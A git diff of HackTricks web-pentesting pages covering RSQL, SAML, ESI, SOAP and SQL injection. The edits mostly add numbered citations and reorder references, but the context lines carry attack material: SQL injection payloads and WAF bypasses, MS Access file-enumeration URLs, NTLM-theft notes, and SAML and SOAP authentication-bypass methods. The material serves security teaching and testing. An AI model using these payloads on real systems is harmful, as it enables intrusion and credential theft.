authorization bugs often exist on only one path. +- `rsql-parser` only parses the grammar and explicitly supports custom operators. If you see non-standard operators such as `=like=`, `=ilike=`, `=all=` or `=notAssigned=`, focus your review on the translation layer because that is where unsafe string concatenation usually appears.[[3]](#references) +- Elide JSON:API supports both type-specific `filter[TYPE]` parameters and a single global `filter`, and selectors can traverse related models with dotted paths such as `author.books.price.total`. Test the same predicate on root collections and related collections because authorization bugs often exist on only one path.[[4]](#references) - `rsql-jpa-specification` supports public-to-internal property remapping (for example `compCode` -> `company.code`, `compId` -> `company.id`). If the UI or docs expose friendly aliases, fuzz both the alias and the canonical dotted path to discover hidden joins or allow-list gaps. - The same library documents direct SQL `LIKE` translation plus configurable escape characters. If the target exposes `=like=`-style operators, test `%`, `_` and the escape character because custom predicates often forget to escape wildcards consistently across MySQL/PostgreSQL/SQL Server. - Newer `rsql-jpa-specification` releases also support PostgreSQL `jsonb` traversal (`data.user.id==1`, `data.roles.id==1`) and optional stored-procedure syntax such as `@upper[code]==HELLO` when procedures are whitelisted. If an API exposes either feature, you can often pivot from a simple field filter into nested JSON documents or function-backed selectors that were never meant to be attacker reachable. -- Elide analytic queries added field arguments/parameterized columns to the RSQL grammar; this was the precondition behind CVE-2022-24827, where a `TEXT` parameter containing `--` could strip the generated authorization `WHERE` clause. On analytics endpoints, always test whether filter operands or field arguments are copied into SQL fragments before server-side auth filters are applied. +- Elide analytic queries added field arguments/parameterized columns to the RSQL grammar; this was the precondition behind CVE-2022-24827, where a `TEXT` parameter containing `--` could strip the generated authorization `WHERE` clause. On analytics endpoints, always test whether filter operands or field arguments are copied into SQL fragments before server-side auth filters are applied.[[4]](#references) ## Automation helpers -- **rsql-parser CLI (Java)**: `java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE"` validates payloads locally and shows the abstract syntax tree—useful to craft balanced parentheses and custom operators. +- **rsql-parser CLI (Java)**: `java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE"` validates payloads locally and shows the abstract syntax tree—useful to craft balanced parentheses and custom operators.[[3]](#references) - **Python quick builder**: ```python from pyrsql import RSQL @@ -611,9 +611,9 @@ print(str(payload)) - Pair with HTTP fuzzer (ffuf, turbo-intruder) by iterating wildcard positions `*a*`, `*e*`, etc., inside `=in=` lists to enumerate IDs and emails quickly. ## References -- [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection) -- [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation) -- [rsql-parser](https://github.com/jirutka/rsql-parser) -- [Elide JSON:API filtering](https://elide.io/pages/guide/v7/10-jsonapi.html) +- [1] [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection) +- [2] [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation) +- [3] [rsql-parser](https://github.com/jirutka/rsql-parser) +- [4] [Elide JSON:API filtering](https://elide.io/pages/guide/v7/10-jsonapi.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/saml-attacks/README.md b/src/pentesting-web/saml-attacks/README.md index d2cec51da44..ddefd559a46 100644 --- a/src/pentesting-web/saml-attacks/README.md +++ b/src/pentesting-web/saml-attacks/README.md @@ -15,7 +15,7 @@ saml-basics.md ## XML round-trip -In XML the signed part of the XML is saved in memory, then some encoding/decoding is performed and the signature is checked. Ideally that encoding/decoding shouldn't change the data but based in that scenario, **the data being checked and the original data could not be the same**. +In XML the signed part of the XML is saved in memory, then some encoding/decoding is performed and the signature is checked. Ideally that encoding/decoding shouldn't change the data but based in that scenario, **the data being checked and the original data could not be the same**.[[11]](#references)[[12]](#references) For example, check the following code: @@ -58,7 +58,7 @@ For more information about the vulnerability and how to abuse it: In **XML Signature Wrapping attacks (XSW)**, adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: **signature validation** and **function invocation**. These attacks involve altering the XML document structure. Specifically, the attacker **injects forged elements** that do not compromise the XML Signature's validity. This manipulation aims to create a discrepancy between the elements analyzed by the **application logic** and those checked by the **signature verification module**. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the **fraudulent elements**. Consequently, the attacker effectively bypasses the XML Signature's **integrity protection** and **origin authentication**, enabling the **injection of arbitrary content** without detection. -The following attacks ara based on [**this blog post**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **and** [**this paper**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). So check those for further details. +The following attacks ara based on [**this blog post**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **and** [**this paper**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). So check those for further details.[[4]](#references)[[13]](#references) ### XSW #1 @@ -122,7 +122,7 @@ You can use the Burp extension [**SAML Raider**](https://portswigger.net/bappsto ## Ruby-SAML signature verification bypass (CVE-2024-45409) -**Impact**: If the Service Provider uses vulnerable Ruby-SAML (ex. GitLab SAML SSO), an attacker who can obtain **any IdP-signed SAMLResponse** can **forge a new assertion** and authenticate as arbitrary users. +**Impact**: If the Service Provider uses vulnerable Ruby-SAML (ex. GitLab SAML SSO), an attacker who can obtain **any IdP-signed SAMLResponse** can **forge a new assertion** and authenticate as arbitrary users.[[9]](#references)[[10]](#references) **High-level workflow** (signature-wrapping style bypass): @@ -181,7 +181,7 @@ For more information about XSLT go to: ../xslt-server-side-injection-extensible-stylesheet-language-transformations.md {{#endref}} -Extensible Stylesheet Language Transformations (XSLT) can be used for transforming XML documents into various formats like HTML, JSON, or PDF. It's crucial to note that **XSLT transformations are performed before the verification of the digital signature**. This means that an attack can be successful even without a valid signature; a self-signed or invalid signature is sufficient to proceed. +Extensible Stylesheet Language Transformations (XSLT) can be used for transforming XML documents into various formats like HTML, JSON, or PDF. It's crucial to note that **XSLT transformations are performed before the verification of the digital signature**. This means that an attack can be successful even without a valid signature; a self-signed or invalid signature is sufficient to proceed.[[5]](#references) Here you can find a **POC** to check for this kind of vulnerabilities, in the hacktricks page mentioned at the beginning of this section you can find for payloads. @@ -213,7 +213,7 @@ Check also this talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www. ## XML Signature Exclusion -The **XML Signature Exclusion** observes the behavior of SAML implementations when the Signature element is not present. If this element is missing, **signature validation may not occur**, making it vulnerable. It's possibel to test this by altering the contents that are usually verified by the signature. +The **XML Signature Exclusion** observes the behavior of SAML implementations when the Signature element is not present. If this element is missing, **signature validation may not occur**, making it vulnerable. It's possibel to test this by altering the contents that are usually verified by the signature.[[5]](#references) ![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../images/image (457).png>) @@ -227,7 +227,7 @@ With the signatures removed, allow the request to proceed to the target. If the ## Certificate Faking -Certificate Faking is a technique to test if a **Service Provider (SP) properly verifies that a SAML Message is signed** by a trusted Identity Provider (IdP). It involves using a \***self-signed certificate** to sign the SAML Response or Assertion, which helps in evaluating the trust validation process between SP and IdP. +Certificate Faking is a technique to test if a **Service Provider (SP) properly verifies that a SAML Message is signed** by a trusted Identity Provider (IdP). It involves using a \***self-signed certificate** to sign the SAML Response or Assertion, which helps in evaluating the trust validation process between SP and IdP.[[5]](#references) ### How to Conduct Certificate Faking @@ -243,7 +243,7 @@ The following steps outline the process using the [SAML Raider](https://portswig ## Token Recipient Confusion / Service Provider Target Confusion -Token Recipient Confusion and Service Provider Target Confusion involve checking whether the **Service Provider correctly validates the intended recipient of a response**. In essence, a Service Provider should reject an authentication response if it was meant for a different provider. The critical element here is the **Recipient** field, found within the **SubjectConfirmationData** element of a SAML Response. This field specifies a URL indicating where the Assertion must be sent. If the actual recipient does not match the intended Service Provider, the Assertion should be deemed invalid. +Token Recipient Confusion and Service Provider Target Confusion involve checking whether the **Service Provider correctly validates the intended recipient of a response**. In essence, a Service Provider should reject an authentication response if it was meant for a different provider. The critical element here is the **Recipient** field, found within the **SubjectConfirmationData** element of a SAML Response. This field specifies a URL indicating where the Assertion must be sent. If the actual recipient does not match the intended Service Provider, the Assertion should be deemed invalid.[[5]](#references) #### **How It Works** @@ -274,7 +274,7 @@ def intercept_and_redirect_saml_response(saml_response, sp_target_url): ## XSS in Logout functionality -The original research can be accessed through [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/). +The original research can be accessed through [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).[[6]](#references) During the process of directory brute forcing, a logout page was discovered at: @@ -316,7 +316,7 @@ with open("/home/fady/uberSAMLOIDAUTH") as urlList: ## RelayState-based header/body injection to rXSS -Some SAML SSO endpoints decode `RelayState` and then reflect it into the response without sanitization. If you can inject newlines and override the response `Content-Type`, you can force the browser to render attacker-controlled HTML, achieving reflected XSS. +Some SAML SSO endpoints decode `RelayState` and then reflect it into the response without sanitization. If you can inject newlines and override the response `Content-Type`, you can force the browser to render attacker-controlled HTML, achieving reflected XSS.[[7]](#references) - Idea: abuse response-splitting via newline injection in the reflected RelayState. See also the generic notes in [CRLF injection](../crlf-0d-0a.md). - Works even when RelayState is base64-decoded server-side: supply a base64 that decodes to header/body injection. @@ -373,7 +373,7 @@ Why it works: the server decodes `RelayState` and incorporates it into the respo ## Unterminated / unquoted SAML attribute overread (IdP parser bugs) -Some SAML IdP implementations use **custom XML parsers** for `AuthnRequest` attributes and try to recover from malformed XML instead of rejecting it. A recurring bug class is that **quoted** attribute values stop correctly, but the **error-recovery path for unquoted values** only stops on a literal space, `>` or `NUL`. That lets attackers make the parser **over-consume later XML** and, in the worst case, **read past the request buffer**. +Some SAML IdP implementations use **custom XML parsers** for `AuthnRequest` attributes and try to recover from malformed XML instead of rejecting it. A recurring bug class is that **quoted** attribute values stop correctly, but the **error-recovery path for unquoted values** only stops on a literal space, `>` or `NUL`. That lets attackers make the parser **over-consume later XML** and, in the worst case, **read past the request buffer**.[[1]](#references)[[2]](#references) This is especially interesting when the parsed fields are later **reflected** into: @@ -458,15 +458,18 @@ The same parser weakness that gives an overread can also crash the SAML processi ## References -- [CitrixBleed To Infinity And Beyond: Citrix NetScaler Pre-Auth Memory Overread CVE-2026-8451](https://labs.watchtowr.com/citrixbleed-to-infinity-and-beyond-citrix-netscaler-pre-auth-memory-overread-cve-2026-8451/) -- [watchTowr-vs-Netscaler-CVE-2026-8451](https://github.com/watchtowrlabs/watchTowr-vs-Netscaler-CVE-2026-8451) -- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) -- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) -- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/) -- [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) -- [Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)](https://labs.watchtowr.com/is-it-citrixbleed4-well-no-is-it-good-also-no-citrix-netscalers-memory-leak-rxss-cve-2025-12101/) -- [https://0xdf.gitlab.io/2026/03/03/htb-barrier.html](https://0xdf.gitlab.io/2026/03/03/htb-barrier.html) -- [https://github.com/synacktiv/CVE-2024-45409](https://github.com/synacktiv/CVE-2024-45409) -- [https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2](https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2) +- [1] [CitrixBleed To Infinity And Beyond: Citrix NetScaler Pre-Auth Memory Overread CVE-2026-8451](https://labs.watchtowr.com/citrixbleed-to-infinity-and-beyond-citrix-netscaler-pre-auth-memory-overread-cve-2026-8451/) +- [2] [watchTowr-vs-Netscaler-CVE-2026-8451](https://github.com/watchtowrlabs/watchTowr-vs-Netscaler-CVE-2026-8451) +- [3] [How to test SAML: a methodology (part one)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) +- [4] [How to test SAML: a methodology (part two)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) +- [5] [How to test SAML: a methodology (part three)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/) +- [6] [How I discovered XSS that affects over 20 Uber subdomains](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) +- [7] [Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)](https://labs.watchtowr.com/is-it-citrixbleed4-well-no-is-it-good-also-no-citrix-netscalers-memory-leak-rxss-cve-2025-12101/) +- [8] [HTB: Barrier](https://0xdf.gitlab.io/2026/03/03/htb-barrier.html) +- [9] [CVE-2024-45409 PoC (Synacktiv)](https://github.com/synacktiv/CVE-2024-45409) +- [10] [Ruby-SAML signature verification bypass advisory (GHSA-jw9c-mfg7-9rx2)](https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2) +- [11] [Securing XML implementations across the web](https://mattermost.com/blog/securing-xml-implementations-across-the-web/) +- [12] [SAML is insecure by design](https://joonas.fi/2021/08/saml-is-insecure-by-design/) +- [13] [On Breaking SAML: Be Whoever You Want to Be (USENIX Security 2012)](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/saml-attacks/saml-basics.md b/src/pentesting-web/saml-attacks/saml-basics.md index 2817e53a8fa..c08d27d921a 100644 --- a/src/pentesting-web/saml-attacks/saml-basics.md +++ b/src/pentesting-web/saml-attacks/saml-basics.md @@ -13,7 +13,7 @@ ## SAML Authentication Flow -**For further details check the full post from [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)**. This is a summary: +**For further details check the full post from [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)**. This is a summary:[[1]](#references) The SAML authentication process involves several steps, as illustrated in the schema: @@ -164,7 +164,7 @@ In conclusion, XML Signatures provide flexible ways to secure XML documents, wit ## References -- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) +- [1] [How to test SAML: a methodology (part one)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md index 8a748806064..5e82f3719c1 100644 --- a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md +++ b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md @@ -97,7 +97,7 @@ hello ### ESI exploitation -[GoSecure created](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) a table to understand possible attacks that we can try against different ESI-capable software, depending on the functionality supported: +[GoSecure created](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) a table to understand possible attacks that we can try against different ESI-capable software, depending on the functionality supported:[[1]](#references) - **Includes**: Supports the `` directive - **Vars**: Supports the `` directive. Useful for bypassing XSS Filters @@ -234,12 +234,6 @@ Check the XSLT page: xslt-server-side-injection-extensible-stylesheet-language-transformations.md {{#endref}} -### References - -- [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) -- [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/) -- [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91) - ## Brute-Force Detection List @@ -247,4 +241,10 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt {{#endref}} +## References + +- [1] [Beyond XSS: Edge Side Include Injection](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) +- [2] [ESI Injection Part 2: Abusing specific implementations](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/) +- [3] [Exploring the World of ESI Injection](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/soap-jax-ws-threadlocal-auth-bypass.md b/src/pentesting-web/soap-jax-ws-threadlocal-auth-bypass.md index 8fa4033822a..7e5231b469e 100644 --- a/src/pentesting-web/soap-jax-ws-threadlocal-auth-bypass.md +++ b/src/pentesting-web/soap-jax-ws-threadlocal-auth-bypass.md @@ -7,7 +7,7 @@ - Some middleware chains store the authenticated `Subject`/`Principal` inside a static `ThreadLocal` and only refresh it when a proprietary SOAP header arrives. - Because WebLogic/JBoss/GlassFish recycle worker threads, dropping that header causes the last privileged `Subject` processed by the thread to be silently reused. - Hammer the vulnerable endpoint with header-less but well-formed SOAP bodies until a reused thread grants you the stolen administrator context. -- 2025 HID ActivID/IASP (HID-PSA-2025-002) is a real-world instance: JAX-WS handler caches a `SubjectHolder` `ThreadLocal`, letting unauthenticated SOAP calls inherit the identity set by previous console/SSP requests. +- 2025 HID ActivID/IASP (HID-PSA-2025-002) is a real-world instance: JAX-WS handler caches a `SubjectHolder` `ThreadLocal`, letting unauthenticated SOAP calls inherit the identity set by previous console/SSP requests.[[1]](#references) ## Root Cause @@ -58,7 +58,7 @@ Content-Type: text/xml;charset=UTF-8 ### 2025 HID ActivID/IASP case study (HID-PSA-2025-002) -- Synacktiv showed the JAX-WS `LoginHandler` in ActivID 8.6–8.7 sets `SubjectHolder.subject` when a `mySubjectHeader` SOAP header is present or when console/SSP traffic authenticates, but never clears it when the header is absent. +- Synacktiv showed the JAX-WS `LoginHandler` in ActivID 8.6–8.7 sets `SubjectHolder.subject` when a `mySubjectHeader` SOAP header is present or when console/SSP traffic authenticates, but never clears it when the header is absent.[[1]](#references)[[3]](#references) - Any subsequent SOAP call lacking the header on the same worker thread inherits that cached `Subject`, allowing unauthenticated creation of administrator users or credential import via endpoints such as `UserManager` or `CredentialManager`. - Reliable exploitation pattern observed: 1. Trigger an authenticated context on many threads (e.g., spam `/ssp` or log into `/aiconsole` as admin in another browser tab). @@ -67,7 +67,7 @@ Content-Type: text/xml;charset=UTF-8 - Handler and process flow highlights: - `LoginHandlerChain.xml` → `LoginHandler.handleMessage()` unmarshals `mySubjectHeader` and stores the `Subject` in `SubjectHolder` (a static `ThreadLocal`). - `ProcessManager.triggerProcess()` later injects `SubjectHolder.getSubject()` into business processes, so missing headers leave stale identities intact. -- In-field PoC from the advisory uses two-step SOAP abuse: first `getUsers` to leak info, then `createUser` + `importCredential` to plant a rogue admin when the privileged thread hits. +- In-field PoC from the advisory uses two-step SOAP abuse: first `getUsers` to leak info, then `createUser` + `importCredential` to plant a rogue admin when the privileged thread hits.[[1]](#references)[[3]](#references) ## Validating the Bug @@ -76,9 +76,9 @@ Content-Type: text/xml;charset=UTF-8 ## References -- [Synacktiv – ActivID authentication bypass (HID-PSA-2025-002)](https://www.synacktiv.com/en/advisories/activid-authentication-bypass.html) -- [HID Global – Product Security Advisory HID-PSA-2025-002 SOAP-API Authentication Bypass](https://www.hidglobal.com/sites/default/files/documentlibrary/HID-PSA-2025-02%20SOAP_API_a.pdf) -- [Synacktiv – ActivID administrator account takeover: the story behind HID-PSA-2025-002](https://www.synacktiv.com/publications/activid-administrator-account-takeover-the-story-behind-hid-psa-2025-002.html) -- [PortSwigger – Wsdler (WSDL parser) extension](https://portswigger.net/bappstore/594a49bb233748f2bc80a9eb18a2e08f) +- [1] [Synacktiv – ActivID authentication bypass (HID-PSA-2025-002)](https://www.synacktiv.com/en/advisories/activid-authentication-bypass.html) +- [2] [HID Global – Product Security Advisory HID-PSA-2025-002 SOAP-API Authentication Bypass](https://www.hidglobal.com/sites/default/files/documentlibrary/HID-PSA-2025-02%20SOAP_API_a.pdf) +- [3] [Synacktiv – ActivID administrator account takeover: the story behind HID-PSA-2025-002](https://www.synacktiv.com/publications/activid-administrator-account-takeover-the-story-behind-hid-psa-2025-002.html) +- [4] [PortSwigger – Wsdler (WSDL parser) extension](https://portswigger.net/bappstore/594a49bb233748f2bc80a9eb18a2e08f) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md index ea152f1d855..2a93676ef55 100644 --- a/src/pentesting-web/sql-injection/README.md +++ b/src/pentesting-web/sql-injection/README.md @@ -298,7 +298,7 @@ This can be accomplished through the use of blind injection techniques alongside Once the query has been extracted, it's necessary to tailor your payload to safely close the original query. Subsequently, a union query is appended to your payload, facilitating the exploitation of the newly accessible union-based injection. -For more comprehensive insights, refer to the complete article available at [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f). +For more comprehensive insights, refer to the complete article available at [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).[[4]](#references) ## Exploiting Error based @@ -522,7 +522,7 @@ Using **hex** and **replace** (and **substr**): ## Routed SQL injection -Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)) +Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))[[5]](#references) Example: @@ -592,7 +592,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database()) ### Scientific Notation WAF bypass -You can find a more in depth explaination of this trick in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\ +You can find a more in depth explaination of this trick in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).[[6]](#references)\ Basically you can use the scientific notation in unexpected ways for the WAF to bypass it: ``` @@ -619,11 +619,11 @@ Or using a **comma bypass**: -1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c ``` -This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) +This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)[[7]](#references) ### Column/tablename injection in SELECT list via subqueries -If user input is concatenated into the SELECT list or table/column identifiers, prepared statements won’t help because bind parameters only protect values, not identifiers. A common vulnerable pattern is: +If user input is concatenated into the SELECT list or table/column identifiers, prepared statements won’t help because bind parameters only protect values, not identifiers.[[1]](#references) A common vulnerable pattern is: ```php // Pseudocode @@ -663,7 +663,7 @@ Example pattern (conceptual): JSON_VALUE(metadata, '$.department') = '' ``` -Payload (URL-encoded): `%27%20OR%20%271%27%3D%271` → decoded: `' OR '1'='1` → predicate becomes: +Payload (URL-encoded): `%27%20OR%20%271%27%3D%271` → decoded: `' OR '1'='1` → predicate becomes:[[2]](#references) ```sql JSON_VALUE(metadata, '$.department') = '' OR '1'='1' @@ -671,7 +671,7 @@ JSON_VALUE(metadata, '$.department') = '' OR '1'='1' ### ORDER BY / identifier-based SQLi (PDO limitation) -Prepared statements **cannot bind identifiers** (column or table names). A common unsafe pattern is to take a user-controlled `sort` parameter and build `ORDER BY` using string concatenation, sometimes wrapping the input in backticks to “sanitize” it. This still enables SQLi because the identifier context is attacker-controlled. +Prepared statements **cannot bind identifiers** (column or table names). A common unsafe pattern is to take a user-controlled `sort` parameter and build `ORDER BY` using string concatenation, sometimes wrapping the input in backticks to “sanitize” it. This still enables SQLi because the identifier context is attacker-controlled.[[3]](#references) Vulnerable pattern: @@ -709,8 +709,12 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt ## References -- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) -- [https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/](https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/) -- [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html) +- [1] [Vtenext 25.02: A three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [2] [CVE-2026-22730: SQL Injection in Spring AI's MariaDB Vector Store](https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/) +- [3] [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html) +- [4] [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) +- [5] [Routed SQL Injection - Zenodermus Javanicus](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt) +- [6] [A scientific notation bug in MySQL left AWS WAF clients vulnerable to SQL injection](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) +- [7] [33C3 CTF writeup: shia](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/ms-access-sql-injection.md b/src/pentesting-web/sql-injection/ms-access-sql-injection.md index 5b9778a7ad4..693ebbe2061 100644 --- a/src/pentesting-web/sql-injection/ms-access-sql-injection.md +++ b/src/pentesting-web/sql-injection/ms-access-sql-injection.md @@ -125,7 +125,7 @@ We have already discussed the [**chaining equals technique**](ms-access-sql-inje IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko') ``` -In a nutshell, the query uses an “if-then” statement in order to trigger a “200 OK” in case of success or a “500 Internal Error” otherwise. Taking advantage of the TOP 10 operator, it is possible to select the first ten results. The subsequent usage of LAST allows to consider the 10th tuple only. On such value, using the MID operator, it is possible to perform a simple character comparison. Properly changing the index of MID and TOP, we can dump the content of the “username” field for all rows. +In a nutshell, the query uses an “if-then” statement in order to trigger a “200 OK” in case of success or a “500 Internal Error” otherwise. Taking advantage of the TOP 10 operator, it is possible to select the first ten results. The subsequent usage of LAST allows to consider the 10th tuple only. On such value, using the MID operator, it is possible to perform a simple character comparison. Properly changing the index of MID and TOP, we can dump the content of the “username” field for all rows.[[1]](#references) ### Time-Based (Blind) Tricks @@ -141,7 +141,7 @@ Point the UNC path to: * a host that drops the TCP handshake after `SYN-ACK` * a firewall sinkhole -The extra seconds introduced by the remote lookup can be used as an **out-of-band timing oracle** for boolean conditions (e.g. pick a slow path only when the injected predicate is true). Microsoft documents the remote database behaviour and the associated registry kill-switch in KB5002984. +The extra seconds introduced by the remote lookup can be used as an **out-of-band timing oracle** for boolean conditions (e.g. pick a slow path only when the injected predicate is true). Microsoft documents the remote database behaviour and the associated registry kill-switch in KB5002984.[[2]](#references) ### Other Interesting functions @@ -176,11 +176,11 @@ The knowledge of the **web root absolute path may facilitate further attacks**. `http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00` -MS Access responds with an **error message containing the web directory full pathname**. +MS Access responds with an **error message containing the web directory full pathname**.[[1]](#references) ### File Enumeration -The following attack vector can be used to **inferrer the existence of a file on the remote filesystem**. If the specified file exists, MS Access triggers an error message informing that the database format is invalid: +The following attack vector can be used to **inferrer the existence of a file on the remote filesystem**. If the specified file exists, MS Access triggers an error message informing that the database format is invalid:[[1]](#references) `http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00` @@ -194,7 +194,7 @@ Another way to enumerate files consists into **specifying a database.table item* `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00` -Where **name[i] is a .mdb filename** and **realTable is an existent table** within the database. Although MS Access will always trigger an error message, it is possible to distinguish between an invalid filename and a valid .mdb filename. +Where **name[i] is a .mdb filename** and **realTable is an existent table** within the database. Although MS Access will always trigger an error message, it is possible to distinguish between an invalid filename and a valid .mdb filename.[[1]](#references) ### Remote Database Access & NTLM Credential Theft (2023) @@ -229,7 +229,7 @@ Mitigations (recommended even for legacy Classic ASP apps): * Block outbound SMB/WebDAV at the network boundary. * Sanitize / parameterise any part of a query that may end up inside an `IN` clause. -The forced-authentication vector was revisited by Check Point Research in 2023, proving it is still exploitable on fully patched Windows Server when the registry key is absent. +The forced-authentication vector was revisited by Check Point Research in 2023, proving it is still exploitable on fully patched Windows Server when the registry key is absent.[[3]](#references) ### .mdb 